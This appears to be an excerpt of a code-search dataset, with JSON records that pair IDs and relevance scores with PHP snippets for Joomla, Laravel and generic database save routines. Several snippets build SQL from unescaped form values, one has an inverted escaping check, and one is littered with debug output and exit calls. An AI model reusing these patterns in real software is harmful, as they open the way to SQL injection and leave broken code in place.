{\r\n\t\t\t\t\t\t\t\t$query->delete($oJoin->table_join)->where(\"!($item->db_primary_key IN (\" . implode(',', $aUpdatedRecordIds) . \")) AND ($oJoin->table_join_key = $aDeleteRecordId)\");\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t$joinDb->setQuery($query);\r\n\t\t\t\t\t\t$joinDb->query();\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\t// $$$ hugh - trying to get one-to-one joins working where parent.fk = child.pk (ie where parent points to child)\r\n\t\t\t\t\t\t// So ... if we have that situation, what we will see next is\r\n\t\t\t\t\t\t// if (($fullforeginKey != $oJoinPk || (int)$data['rowid'] === 0) && ($fullforeginKey != \"{$oJoin->table_join}___{$oJoin->table_key}\" || $oJoin->table_key === $oJoin->table_join_key)) {\r\n\t\t\t\t\t\t// which we need NOT to be true, otherwise (as per Rob's comment) we'll actually be overwriting the PK.\r\n\t\t\t\t\t\t// Then, after that we are going to see ...\r\n\t\t\t\t\t\t// if ($fullforeginKey == $oJoinPk) {\r\n\t\t\t\t\t\t// which needs to be true in order for the code to go back and write the new joined rows PK\r\n\t\t\t\t\t\t// into the parenjt's FK element.\r\n\t\t\t\t\t\t// So ... although it doesn't really make sense, in the one-to-one, parent.fk = child.pk scenario,\r\n\t\t\t\t\t\t// we need $fullforeginKey to be the same as $oJoinPk. So we need to work out if the FK is on parent or child ...\r\n\t\t\t\t\t\t// Which I think means testing to see if the $oJoinPk == $oJoin->table_join + $oJoin->table_join_key.\r\n\t\t\t\t\t\t// if it does, then element the user selected on the joined (child) table is NOT the FK. Which means\r\n\t\t\t\t\t\t// the FK is actually the element they selected on the main table (parent). In which case, we need to set\r\n\t\t\t\t\t\t// $fullforeginKey = $oJoinPk, which although it isn't, will satisfy the following code!!\r\n\t\t\t\t\t\tif ($oJoinPk == $oJoin->table_join . '___' . $oJoin->table_join_key) {\r\n\t\t\t\t\t\t\t$fullforeginKey = $oJoinPk;\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t// $$$rob test if the joined to table's key (as part of the join) is the same as its primary key\r\n\t\t\t\t\t\t// if it is then we dont want to overwrite the foreginkey as we will in fact be overwriting the pk\r\n\r\n\t\t\t\t\t\t// $$$ rob - 1) altered now so that this test only returns true if we are editing an existing record\r\n\r\n\t\t\t\t\t\t//2) also test if the foreign key isnt the same as the joins key - hard to explain cos its v confusing but\r\n\t\t\t\t\t\t//when you had 2 joins with both of them key'd to the main table things went horribly wrong\r\n\r\n\t\t\t\t\t\t//if (($fullforeginKey != $oJoinPk || (int)$data['rowid'] === 0) && $fullforeginKey != \"{$oJoin->table_join}___{$oJoin->table_key}\") {\r\n\r\n\t\t\t\t\t\t// $$$ rob - 3) hmm (2) was incorrect if your table had a pk called the same as the joined table's fk - eg.\r\n\t\t\t\t\t\t// tbl, venture pk venture_id, tbl access, fk venture_id\r\n\t\t\t\t\t\t// $$$ hugh - FIXME - something in this is hosing up when creating new one-to-one record where\r\n\t\t\t\t\t\t// parent.fk points to child.pk\r\n\t\t\t\t\t\t// OK, tried but couldn't understand why the rowid==0 test, which seems to make it impossible to do. Trying without this.\r\n\t\t\t\t\t\t// Seems to work (with my change above) without the rowid test, for edit/new\r\n\t\t\t\t\t\t//if (($fullforeginKey != $oJoinPk || (int)$data['rowid'] === 0) && ($fullforeginKey != \"{$oJoin->table_join}___{$oJoin->table_key}\" || $oJoin->table_key === $oJoin->table_join_key)) {\r\n\t\t\t\t\t\tif (($fullforeginKey != $oJoinPk) && ($fullforeginKey != \"{$oJoin->table_join}___{$oJoin->table_key}\" || $oJoin->table_key === $oJoin->table_join_key)) {\r\n\t\t\t\t\t\t\t// $$$ hugh - at this point we are assuming that we have a situation where the FK is on the joined table,\r\n\t\t\t\t\t\t\t// pointing to PK on main table. BUT ... we may have a situation where neither of the selected keys are\r\n\t\t\t\t\t\t\t// a PK, i.e. two records are joined by some other field. In which case we do not want to set the FK val!\r\n\t\t\t\t\t\t\t// So, we need some logic here to handle that!\r\n\t\t\t\t\t\t\t$fkVal = JArrayHelper::getValue($joinKeys, $oJoin->join_from_table.'.'.$oJoin->table_key, $insertId);\r\n\t\t\t\t\t\t\t$data[$fullforeginKey] = $fkVal;\r\n\t\t\t\t\t\t\t$data[$fullforeginKey . \"_raw\"] = $fkVal;\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\tif ($item->db_primary_key == '') {\r\n\t\t\t\t\t\t\treturn JError::raiseWarning(500, JText::_('COM_FABRIK_MUST_SELECT_PRIMARY_KEY'));\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t$joinRowId = $data[$item->db_table_name . '___' . $item->db_primary_key];\r\n\r\n\t\t\t\t\t\t$data = $listModel->removeTableNameFromSaveData($data);\r\n\r\n\t\t\t\t\t\t//try to catch an pk val when the db_primary_key is in the short format\r\n\t\t\t\t\t\t// $$$ rob - think the primary key will always been in the short format as we got the\r\n\t\t\t\t\t\t//JOIN tables pk (ie $item->db_primary_key) direct from the db description\r\n\t\t\t\t\t\t//if (is_null($joinRowId)) {\r\n\t\t\t\t\t\t//\t$joinRowId \t\t\t\t= $data[$item->db_primary_key];\r\n\t\t\t\t\t\t//}\r\n\t\t\t\t\t\t//$$$ hugh - need to give it the table name!!\r\n\t\t\t\t\t\t// $$$ rob no no no this is not the issue, on SOME setups $item is NOT a reference to $listModel->_table - this is where the issue is\r\n\t\t\t\t\t\t// not passing in the correct table name - see notes line 720 for explaination\r\n\t\t\t\t\t\t// $listModel->storeRow($repData, $joinRowId, true, $item->db_table_name);\r\n\t\t\t\t\t\t$listModel->storeRow($data, $joinRowId, true, $joinGroupTable);\r\n\r\n\t\t\t\t\t\t// $$$ Les: shouldn't we store the row id of the newly stored row back in data?????\r\n\t\t\t\t\t\t// Copied the following lines from the equivalent code for repeated groups\r\n\t\t\t\t\t\t// ...removing the $c group counter\r\n\t\t\t\t\t\tif ($joinRowId == '') {\r\n\t\t\t\t\t\t\t$joinRowId = $listModel->_lastInsertId;\r\n\t\t\t\t\t\t\t$this->_formData['join'][$oJoin->id][$oJoinPk] = $joinRowId;\r\n\t\t\t\t\t\t\t$this->_formDataWithTableName['join'][$oJoin->id][$oJoinPk] = $joinRowId;\r\n\t\t\t\t\t\t\t$this->_fullFormData['join'][$oJoin->id][$oJoinPk] = $joinRowId;\r\n\t\t\t\t\t\t\t$this->_formData['join'][$oJoin->id][$oJoinPk . '_raw'] = $joinRowId;\r\n\t\t\t\t\t\t\t$this->_formDataWithTableName['join'][$oJoin->id][$oJoinPk . '_raw'] = $joinRowId;\r\n\t\t\t\t\t\t}\r\n\r\n\t\t\t\t\t\t//$$$rob if the fk was the same as the pk then go back to the main table and\r\n\t\t\t\t\t\t// update its fk to match the\r\n\t\t\t\t\t\t// pk of the inserted table\r\n\r\n\t\t\t\t\t\t// $$$ hugh - FIXME another point where things aren't right for one-to-one\r\n\t\t\t\t\t\t// where parent.fk = child.pk\r\n\t\t\t\t\t\tif ($fullforeginKey == $oJoinPk) {\r\n\t\t\t\t\t\t\t$pkVal = $listModel->lastInsertId;\r\n\t\t\t\t\t\t\t$fk = $oJoin->table_key;\r\n\t\t\t\t\t\t\t$this->_formData[$fk] = $pkVal;\r\n\t\t\t\t\t\t\t$this->_formData[$fk . '_raw'] = $pkVal; // because storeRow takes _raw if the key exists, which it does\r\n\r\n\t\t\t\t\t\t\t//reset the table's values to the main table\r\n\t\t\t\t\t\t\t// $$$ rob same issues as above with $item not being a reference to $listModel->_table\r\n\t\t\t\t\t\t\t//$item->db_table_name = $origTableName;\r\n\t\t\t\t\t\t\t//$item->db_primary_key = $origTableKey;\r\n\t\t\t\t\t\t\t$listModel->getTable()->db_table_name = $origTableName;\r\n\t\t\t\t\t\t\t$listModel->getTable()->db_primary_key = $origTableKey;\r\n\t\t\t\t\t\t\t$listModel->storeRow($this->_formData, $insertId);\r\n\t\t\t\t\t\t\t$insertId = $listModel->lastInsertId;\r\n\r\n\t\t\t\t\t\t\t// $$$ hugh - I think this needs to be $insertId, not $rowId, otherwise\r\n\t\t\t\t\t\t\t// if it's new row (so $rowId was null) we insert a duplicate row in\r\n\t\t\t\t\t\t\t// the main table?\r\n\t\t\t\t\t\t\t// NOTE TO SELF - test on row edit as well as new row!!\r\n\t\t\t\t\t\t\t//$insertId \t\t= $this->submitToDatabase($insertId);\r\n\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t$tmpKey = $oJoin->table_join.'.'.$oJoin->table_key;\r\n\t\t\t\t\t\t$joinKeys[$tmpKey] = $listModel->lastInsertId;\r\n\t\t\t\t\t}\r\n\t\t\t\t} else {\r\n\t\t\t\t\t// no join data found so delete all joined records\r\n\t\t\t\t\t$k = $oJoin->join_from_table . '___' .$oJoin->table_key;\r\n\t\t\t\t\t$query = $joinDb->getQuery(true);\r\n\t\t\t\t\t$query->delete($oJoin->table_join)->where(\"($oJoin->table_join_key = {$this->_formData[$k]})\");\r\n\t\t\t\t\t$joinDb->setQuery($query);\r\n\t\t\t\t\t$joinDb->query();\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t//testing for saving pages/\r\n\t\tJRequest::setVar('rowid', $insertId);\r\n\t\tif (in_array(false, $pluginManager->runPlugins('onBeforeCalculations', $this))) {\r\n\t\t\treturn;\r\n\t\t}\r\n\t\t$this->_listModel->doCalculations();\r\n\t}", "title": "" }, { "docid": "8b85662cb925c92e0c6760e85e0bc886", "score": "0.53581136", "text": "public function run()\n {\n $international = array();\n # database table field name = form field name using Request\n $international['category_en'] = 'International';\n $international['category_urdu'] = 'بین اقوامی';\n $category1 = DB::table('categories')->insert($international);\n\n $sports = array();\n # database table field name = form field name using Request\n $sports['category_en'] = 'Sports';\n $sports['category_urdu'] = 'کھیلوں';\n $category2 = DB::table('categories')->insert($sports);\n\n $business = array();\n # database table field name = form field name using Request\n $business['category_en'] = 'Business';\n $business['category_urdu'] = 'کاروبار';\n $category3 = DB::table('categories')->insert($business);\n\n $entertainment = array();\n # database table field name = form field name using Request\n $entertainment['category_en'] = 'Entertainment';\n $entertainment['category_urdu'] = 'تفریح';\n $category4 = DB::table('categories')->insert($entertainment);\n\n\n }", "title": "" }, { "docid": "0e7407bdabafa2beceebfa200008c0f2", "score": "0.5356459", "text": "public function apply() {\n\t\t\t\tJRequest::checkToken() or die('Invalid Token');\n\t\t\t\t\n\t\t\t\t// \n\t\t\t\t$data = JRequest::getVar('jform', array(), 'post', 'array');\nprint_r($data);\n\n\t\t\t\tJTable::addIncludePath(JPATH_ADMINISTRATOR.DS.'components'.DS.'com_webtt'.DS.'tables');\n\t\t\t\t$row =& JTable::getInstance('webtt', 'WebttTable');\n\n\t\t\t\tforeach($data as $id => $val) {\n\t\t\t\t\t\t$row->save( array('id' => $id, 'val' => $val) );\necho $id;\necho $val;\n\t\t\t\t}\nexit;\nprint_r($data);\nprint_r(JRequest::get( 'post' ));\n\t// Initialize variables.\n\t\t$db = JFactory::getDbo();\n\t\t$query = $db->getQuery(true);\n\n// $tbl = & $this->getTable('webtt', 'WebttTable', array());\n \n// $return = $model->save($data);\n\n\n// Create and populate an object.\n$profile = new stdClass();\nforeach ($data as $row) {\n\tforeach ($row as $k) { \necho $k;\n}\n$profile->id = $z++;\n$profile->val = $v;\n \n// Insert the object into the user profile table.\n$result = JFactory::getDbo()->insertObject('#__webtt', $profile);\n}\n\n exit;\n\t\t\t\t$this->setRedirect(JRoute::_('index.php?option=com_webtt&view=config', false));\n\t\t}", "title": "" }, { "docid": "b73b43796e449fc1f2d0c719361fd991", "score": "0.5354822", "text": "protected function add_all_info_to_db()\n {\n global $mtii_biz_prem_db_main;\n global $wpdb;\n $tasks_performer = new TasksPerformer;\n $this->get_form_data_as_assoc();\n $form_values = $this->form_values;\n $error_output = '';\n $invoice_info = $this->get_invoice_info_from_db();\n $biz_prem_form = $this->get_biz_prem_form_data();\n\n $form_values[\"invoice_number_filled_against\"] = $invoice_info->invoice_number;\n $form_values[\"request_ref_filled_against\"] = $invoice_info->request_reference;\n $form_values[\"user_id\"] = get_current_user_id();\n $form_values[\"is_admin_approved\"] = \"Awaiting Approval\";\n date_default_timezone_set(\"Africa/Lagos\");\n $form_values[\"time_of_declaration\"] = date(\"h:i:s A\");\n $form_values[\"day_of_declaration\"] = date(\"j\");\n $form_values[\"month_of_declaration\"] = date(\"F\");\n $form_values[\"year_of_declaration\"] = date(\"Y\");\n\n $tasks_performer->add_custom_fields_to_post(\n $invoice_info->invoice_number, 'mtii_cbs_invoice',\n array('connected_org' => $form_values[\"name_of_company\"])\n );\n if ($biz_prem_form) {\n $biz_premise_form_id = $biz_prem_form->application_form_id;\n $inserted_row_id = $mtii_biz_prem_db_main->update($biz_premise_form_id, $form_values);\n } else {\n $inserted_row_id = $mtii_biz_prem_db_main->insert($form_values);\n }\n $this->create_registration_custom_post($form_values[\"name_of_company\"], 'mtii_biz_prem_reg');\n $this->check_db_insertion_success($inserted_row_id);\n }", "title": "" }, { "docid": "b2e3cd314e73c4e63294ff4a68d12e09", "score": "0.5351906", "text": "protected function _getFieldValues()\n {\n foreach ($this->fields as $param => $column_name) {\n if (! isset($_GET[$param])) {\n continue;\n }\n $value = $_GET[$param];\n if ($value) {\n $this->params[$column_name] = $value;\n $this->current_query[$param] = $value;\n $this->_addCurrentForm($param, $value);\n }\n }\n\n // Also look for the keyword.\n if (isset($_GET['keyword']) && $_GET['keyword']) {\n $keyword = $_GET['keyword'];\n $this->current_query['keyword'] = $keyword;\n $this->_addCurrentForm('keyword', $keyword);\n }\n }", "title": "" }, { "docid": "c5f906a6fb8cd6b91c78f73466366b94", "score": "0.5350867", "text": "public function save()\n {\n try {\n $query = new Query;\n $query->table(static::TABLE_NAME)\n ->update($this->attrs)\n ->execute();\n } catch (PDOException $e) {\n echo $e->getMessage();\n }\n }", "title": "" }, { "docid": "9bc088035dd973295cb827678e465895", "score": "0.5350685", "text": "public function getDataInputs();", "title": "" }, { "docid": "0decd09a71b1425aad9958cc336438df", "score": "0.53470427", "text": "public function getInputValues()\n {\n return $this->input_values;\n }", "title": "" }, { "docid": "69f6c15b16c11637490572dc4bff59d6", "score": "0.5344423", "text": "public function insertData(){\n\t\t$this->query = \"INSERT INTO {$this->deliverydays} (\".implode(',',$this->columns).\") VALUES \";\n\n\t\tforeach ($this->datos as $value) {\n \t\t$dataToSave[] = !mysql_real_escape_string($value)? \"'\".$value.\"'\" : NULL;\t\n \t}\n \t$this->query .= \"(\".implode(\",\",$dataToSave).\")\"; \n \t\n\t\tif($this->writeDB->query($this->query))\n\t\t\tprint_r(\"Guardando la siguiente query: \".$this->query.\"\\n\");\n\t}", "title": "" }, { "docid": "5d5499811e650343d4bf9b8fdeb287e9", "score": "0.5339366", "text": "public function save(){\r\n\t\t$sentence = (($this->isNew)?\"insert\":\"replace\").\" into {$this->tableName} \";\r\n\t\t$fields = \"\";\r\n\t\t$values = \"\";\r\n\t\tforeach(array_keys($this->fields) as $fieldName){\r\n\r\n\t\t\t$value = $this->get($this->fields[$fieldName]);\r\n\t\t\tif(!is_null($value)){\r\n\t\t\t\tif($fields!='') $fields.=\",\";\r\n\t\t\t\t$fields.=$fieldName;\r\n\t\t\t\tif($values!='') $values.=\",\";\r\n\t\t\t\tif(!is_numeric($value)) $addQuotes = true;\r\n\t\t\t\telse $addQuotes = false;\r\n\t\t\t\t$values.=($addQuotes)?\"'\".$value.\"'\":$value;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t$sentence.=\" ($fields) values ($values)\";\r\n\r\n\t\t$lastId = $this->db->ExecQuery($sentence, true);\r\n\t\tif (sizeof($this->id) == 1){\r\n\t\t\t$this->{$this->fields[$this->id[0]]} = $lastId;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "d2310a666ece8244de21c20c2c9f7fef", "score": "0.5334018", "text": "protected function getInputFieldStore(){\n return Input::only(self::NAME, self::DESCRIPTION);\n }", "title": "" }, { "docid": "15fc5946834ed1b8974b0f1f573bc4bb", "score": "0.53328985", "text": "public function input($data) \n \t\t{\n \t \t\t#insert data\n \t\t$this->db->insert('table_slider', $data);\n \t\t}", "title": "" }, { "docid": "f3878ddb956237d57e49f576e244e785", "score": "0.532907", "text": "public function run()\n {\n $meta1 = new Meta();\n $meta1->key = 'fname';\n $meta1->label = 'First name';\n $meta1->type = 'text';\n $meta1->save();\n \n\n $meta2 = new Meta();\n $meta2->key = 'lname';\n $meta2->label = 'Last name';\n $meta2->type = 'text';\n $meta2->save();\n \n\n $meta3 = new Meta();\n $meta3->key = 'gender';\n $meta3->label = 'Gender';\n $meta3->type = 'radio';\n $meta3->save();\n\n $meta3 = new Meta();\n $meta3->key = 'avatar';\n $meta3->label = 'Avatar';\n $meta3->type = 'text';\n $meta3->save();\n \n }", "title": "" }, { "docid": "39612a64fd3597eed8b33e9ffb8fb592", "score": "0.532657", "text": "private function updateDB() {\r\n\r\n $value = Tools::getValue('value');\r\n $id_feature = Tools::getValue('id_feature');\r\n $type = Tools::getValue('type');\r\n $id_value = Tools::getValue('id_value');\r\n\r\n BkpFeatureValue::setDataFeatureValue($id_feature, $id_value, $type, $value);\r\n\r\n $feature = new BkpFeature($id_feature);\r\n $feature->type = $type;\r\n $feature->save();\r\n\r\n die();\r\n }", "title": "" }, { "docid": "9d62b2dae040c602c9f681b388cdd06e", "score": "0.5324122", "text": "public function storeFormValues( $params ) {\n \n // Store all the parameters\n $this->__construct( $params );\n }", "title": "" }, { "docid": "e138fef4b51215e1e01ee3e5e490e8c7", "score": "0.53152406", "text": "public function run()\n {\n $param = [\n ['sex' => '男性'],\n ['sex' => '女性'],\n ];\n DB::table('sex')->insert($param);\n }", "title": "" }, { "docid": "366963ae3a543cb330eee1114c88cf01", "score": "0.5314565", "text": "public function storeFormValues( $params ) {\r\n \r\n // store the parameters\r\n $this->__construct( $params );\r\n \r\n }", "title": "" }, { "docid": "897b7bdddc44c9a785ef0e7d0572f9dd", "score": "0.5307404", "text": "public function store()\n\t{\n\t\t$event = new Event();\n\n\t\t$input = Input::all();\n\n\t\t$event->category_id = $input['category_id'];\n\t\t$event->est_alive = $input['est_alive'];\n\t\t$event->est_dead = $input['est_dead'];\n\t\t$event->location = $input['location'];\n\t\t$event->geobounds = $input['geobounds'];\n\n\t\t$event->save();\n\n\t}", "title": "" } ]
cff4850fd1b1e4d8858436c1ba27d8a7
Prevent cloning of the instance.
[ { "docid": "8827ddd8c89921d9f175ffe09630f24a", "score": "0.70168024", "text": "protected function __clone()\n {\n }", "title": "" } ]
[ { "docid": "e425a542ffd27c6b92b9cf2f0854bf13", "score": "0.80082804", "text": "public function __clone() {\n\t\ttrigger_error('Cloning instances of this class is forbidden.', E_USER_ERROR);\n\t}", "title": "" }, { "docid": "3120aa3b1c9e8bf83984f0ebf730e8c5", "score": "0.7679607", "text": "public function __clone() {\n trigger_error(\"Cloning of \". get_class($this) .\" not allowed: \",E_USER_ERROR);\n }", "title": "" }, { "docid": "d5a84a4dda5bbab80044a1cba4268030", "score": "0.7452884", "text": "public function __clone() {\n trigger_error('Clone is not allowed.', E_USER_ERROR);\n }", "title": "" }, { "docid": "d5a84a4dda5bbab80044a1cba4268030", "score": "0.7452884", "text": "public function __clone() {\n trigger_error('Clone is not allowed.', E_USER_ERROR);\n }", "title": "" }, { "docid": "d5a84a4dda5bbab80044a1cba4268030", "score": "0.7452884", "text": "public function __clone() {\n trigger_error('Clone is not allowed.', E_USER_ERROR);\n }", "title": "" }, { "docid": "d5a84a4dda5bbab80044a1cba4268030", "score": "0.7452884", "text": "public function __clone() {\n trigger_error('Clone is not allowed.', E_USER_ERROR);\n }", "title": "" }, { "docid": "d5a84a4dda5bbab80044a1cba4268030", "score": "0.7452884", "text": "public function __clone() {\n trigger_error('Clone is not allowed.', E_USER_ERROR);\n }", "title": "" }, { "docid": "d5a84a4dda5bbab80044a1cba4268030", "score": "0.7452884", "text": "public function __clone() {\n trigger_error('Clone is not allowed.', E_USER_ERROR);\n }", "title": "" }, { "docid": "5a4e0bd1bea50e1258546435d2da296e", "score": "0.7413446", "text": "public function __clone()\n {\n trigger_error('Clone is not allowed.', E_USER_ERROR);\n }", "title": "" }, { "docid": "d96ec2f1eface285b34d4565c2e6142b", "score": "0.74093235", "text": "protected function __clone() {\r\n return;\r\n }", "title": "" }, { "docid": "d58294df950d75b206ef26040791574a", "score": "0.7399155", "text": "public final function __clone() {\n \n trigger_error('Clone is not allowed for '.get_class($this).' (Singleton)', E_USER_ERROR);\n \n }", "title": "" }, { "docid": "cfe928bf8c2c221e417db0663c27689c", "score": "0.73923266", "text": "public function __clone() {\r\n trigger_error('Clone is not allowed.', E_USER_ERROR);\r\n }", "title": "" }, { "docid": "cfe928bf8c2c221e417db0663c27689c", "score": "0.73923266", "text": "public function __clone() {\r\n trigger_error('Clone is not allowed.', E_USER_ERROR);\r\n }", "title": "" }, { "docid": "32bce1270d2789356370e3b61140af6b", "score": "0.73829067", "text": "public function __clone()\n\t{\n\t\t$this->_frozen = FALSE;\n\t}", "title": "" }, { "docid": "153bf4f19513242b4e6c6e59b8968d2f", "score": "0.7374796", "text": "public function __clone() {\n\t\t trigger_error('Clone is not allowed.', E_USER_ERROR);\n\t\t}", "title": "" }, { "docid": "d7940bb9714b3323dc9468b90147b630", "score": "0.7346944", "text": "public function __clone() {\n trigger_error('La clonación de este objeto no está permitida', E_USER_ERROR);\n }", "title": "" }, { "docid": "2e8f0fc3f4cd7d70332a0f9500e8a506", "score": "0.73112094", "text": "public function __clone() {\n\t\ttrigger_error('Clone is not allowed.', E_USER_ERROR);\n\t}", "title": "" }, { "docid": "06fe08e3483409afffab8a2b754197ad", "score": "0.7292921", "text": "final protected function __clone() {\n\t\t// cannot be cloned\n\t\ttrigger_error(__CLASS__.' may not be cloned', E_USER_ERROR);\n\t}", "title": "" }, { "docid": "a0633b9c6e029f1413c621db7444880a", "score": "0.7287398", "text": "public function __clone()\n {\n return false;\n }", "title": "" }, { "docid": "a5fa4d440f8e94fd129ef39e8703daf7", "score": "0.72835153", "text": "public function __clone() {\n\t\t\t_doing_it_wrong( __FUNCTION__, sprintf( 'You cannot clone instances of %s.', get_class( $this ) ), '1.0.0' );\n\t\t}", "title": "" }, { "docid": "a9fb5a532e4e99b15f38ff447e8f1f81", "score": "0.7273017", "text": "public function __clone()\n {\n return false;\n }", "title": "" }, { "docid": "2a4f031c172e7d1e056b10a843286ce8", "score": "0.72401565", "text": "public function __clone() {\n\t\ttrigger_error ( 'Clone is not allowed.', E_USER_ERROR );\n\t}", "title": "" }, { "docid": "74a3cc1955808f0dac7b9c4372313955", "score": "0.72378856", "text": "public function __clone() {\n\n\t\t//do nothing here\n\n\t}", "title": "" }, { "docid": "528a2c79d32adc8bb55ec379a00a91fd", "score": "0.72366875", "text": "final protected function __clone() {\r\n \r\n // do nothing -nm\r\n \r\n }", "title": "" }, { "docid": "1e86644e982868d2b25f049d6e03faee", "score": "0.7222267", "text": "protected function __clone()\n {\n // Nothing here.\n }", "title": "" }, { "docid": "9cbc9c549194c5297ad3d37ee3cf24c4", "score": "0.7215823", "text": "public function __clone() {\n\t\t// Cloning instances of the class is forbidden.\n\t\t_doing_it_wrong( __FUNCTION__, esc_html__( 'Something went wrong.', 'envato-elements' ), '1.0.0' );\n\t}", "title": "" }, { "docid": "9af479b5e906939cd3ac86eac7e15b1c", "score": "0.720935", "text": "public function __clone() { // clone is a magic method?\n trigger_error('Clone is not allowed.', E_USER_ERROR);\n }", "title": "" }, { "docid": "e7616cff249d2b4dbe5e776b02c9758f", "score": "0.7205667", "text": "public function __clone()\n {\n trigger_error(\"Cannot clone instance of Singleton pattern\", E_USER_ERROR);\n }", "title": "" }, { "docid": "529ff1db61c503b4ab69b6374c8b94ee", "score": "0.7185952", "text": "public function __clone()\n {\n // Cloning instances of the class is forbidden\n _doing_it_wrong( __FUNCTION__, __( 'Cheatin&#8217; huh?', 'livemesh-bb-addons' ), '2.6' );\n }", "title": "" }, { "docid": "d0000e2388a4e9a320b3c1be6b80f36d", "score": "0.71620566", "text": "private function __clone() \n { \n //Do nothing\n }", "title": "" }, { "docid": "824c0143a4cee149b6ac2c36869ea421", "score": "0.71028936", "text": "private function __clone() {\n\t\t// cannot be cloned\n\t\ttrigger_error( __CLASS__.' may not be cloned', E_USER_ERROR );\n\t}", "title": "" }, { "docid": "409133f9d7e6d7ffbcecc91e7fa37914", "score": "0.70998204", "text": "private function __clone() { $this->__wakeup(); }", "title": "" }, { "docid": "6cca5425b99feec0d195d2cff153cb2f", "score": "0.7097437", "text": "public function __clone(){ trigger_error('Clone is not allowed.', E_USER_ERROR);}", "title": "" }, { "docid": "8d53b5014c492cf756cce593f68dfc06", "score": "0.70947695", "text": "public function __clone() {\r\n\t\t// Cloning instances of the class is forbidden.\r\n\t\t_doing_it_wrong( __FUNCTION__, __( 'Cheatin&#8217; huh?' ), '1.0' );\r\n\t}", "title": "" }, { "docid": "594bb84e3ff188716b0056d9df8684b8", "score": "0.70936954", "text": "public function __clone() {\n\t\t\t// Cloning instances of the class is forbidden.\n\t\t\t_doing_it_wrong( __FUNCTION__, esc_html__( 'Cheatin&#8217; huh?', 'themeisle-companion' ), '1.0.0' );\n\t\t}", "title": "" }, { "docid": "214736b5a523c301af8bc9b81d4fbfb8", "score": "0.70844483", "text": "private function __clone(){\n\t\ttrigger_error('Clone is not allowed.', E_USER_ERROR);\n\t}", "title": "" }, { "docid": "3b04a4e88e381f41fecbe2c6f60a25a2", "score": "0.7077572", "text": "protected function __clone()\n {\n ;\n }", "title": "" }, { "docid": "740ec90f23bbdc98428329cc81252872", "score": "0.7048538", "text": "protected function __clone() { }", "title": "" }, { "docid": "740ec90f23bbdc98428329cc81252872", "score": "0.7048538", "text": "protected function __clone() { }", "title": "" }, { "docid": "740ec90f23bbdc98428329cc81252872", "score": "0.7048538", "text": "protected function __clone() { }", "title": "" }, { "docid": "740ec90f23bbdc98428329cc81252872", "score": "0.7048538", "text": "protected function __clone() { }", "title": "" }, { "docid": "740ec90f23bbdc98428329cc81252872", "score": "0.7048538", "text": "protected function __clone() { }", "title": "" }, { "docid": "c2ce0488c259047c176bbf55fbaf326c", "score": "0.7041566", "text": "final public function __clone()\n {\n throw new Exception('Feature disabled.');\n }", "title": "" }, { "docid": "9dba8c791cdb068cf7c86da739f73546", "score": "0.7036359", "text": "protected function __clone(){}", "title": "" }, { "docid": "9dba8c791cdb068cf7c86da739f73546", "score": "0.7036359", "text": "protected function __clone(){}", "title": "" }, { "docid": "9dba8c791cdb068cf7c86da739f73546", "score": "0.7036359", "text": "protected function __clone(){}", "title": "" }, { "docid": "9dba8c791cdb068cf7c86da739f73546", "score": "0.7036359", "text": "protected function __clone(){}", "title": "" }, { "docid": "c31de0cab7c50b922aeac78f228e6246", "score": "0.702604", "text": "private function __clone() {\n\t\tthrow new Exception(\"Cannot clone this singleton.\");\n\t}", "title": "" }, { "docid": "d1970dcf2a0271a1a87691dc61743c5c", "score": "0.70232433", "text": "protected function __clone()\r\n {\r\n }", "title": "" }, { "docid": "268208bc581f43984f794f7f2aa86049", "score": "0.7020421", "text": "final private function __clone() {\n\t\treturn false;\n\t}", "title": "" }, { "docid": "bfdb12f81d73c500900c443247bc5cdb", "score": "0.7013166", "text": "protected function __clone() {\n }", "title": "" }, { "docid": "563b4ede7c3f1e3b2244dd3ef847df7c", "score": "0.6993587", "text": "final protected function __clone() {}", "title": "" }, { "docid": "354ce1061cfced39ec668d815c80215a", "score": "0.69794095", "text": "private function __clone() {\n \n }", "title": "" }, { "docid": "98258a5f0d89dbaf12d79d6f0a78f186", "score": "0.6978519", "text": "public function __clone() {\r\n\t\t\t_doing_it_wrong( __FUNCTION__, __( 'Cloning this class could cause catastrophic disasters!', 'be-table-ship' ), '4.0' );\r\n\t\t}", "title": "" }, { "docid": "5defac2335ab7b07583992da9957e082", "score": "0.69724953", "text": "public function __clone()\r\n {\r\n\r\n trigger_error('Esta clase utiliza un patrón singleton, la clonación está deshabilitada', E_USER_ERROR);\r\n\r\n }", "title": "" }, { "docid": "cae81e94f88775c1c362218cc3e119de", "score": "0.69684297", "text": "final protected function __clone()\n {\n }", "title": "" }, { "docid": "f255ec95d776b303887f63fd506fa1f4", "score": "0.69566536", "text": "final public function __clone()\n {\n throw new \\RuntimeException('Cloning not allowed');\n }", "title": "" }, { "docid": "e51b687fd473f3b528154301af91fb68", "score": "0.69450593", "text": "public function __clone()\n {\n throw new \\MyRadio\\MyRadioException('Attempted to clone a singleton');\n }", "title": "" }, { "docid": "b8db3b7acf1217a68f1e4ed37e860e81", "score": "0.6943044", "text": "private function __clone()\n {\n }", "title": "" }, { "docid": "106530dea495b1ae1a16b2430cd318f1", "score": "0.69428676", "text": "public function __clone() {\n // Cloning instances of the class is forbidden.\n _doing_it_wrong( __FUNCTION__, __( 'Cheatin&#8217; huh?', 'easy-digital-downloads' ), '1.6' );\n }", "title": "" }, { "docid": "2c94fc60424db6b22123221ea6ed716d", "score": "0.6934453", "text": "public function __clone()\n {\n throw new \\Foundation\\Exception\\BadMethodCallException('Cloning is not allowed.');\n }", "title": "" }, { "docid": "e3468462ec747b0cb0b8eeb6c818dd6c", "score": "0.6925683", "text": "public function __clone() {\n\t\tthrow new Exception(get_class($this).\": Le clonage n'est pas autoris&eacute;\", E_USER_ERROR);\n\t}", "title": "" }, { "docid": "e3468462ec747b0cb0b8eeb6c818dd6c", "score": "0.6925683", "text": "public function __clone() {\n\t\tthrow new Exception(get_class($this).\": Le clonage n'est pas autoris&eacute;\", E_USER_ERROR);\n\t}", "title": "" }, { "docid": "9756f94de43f36a7799f337b46fff870", "score": "0.6922246", "text": "private 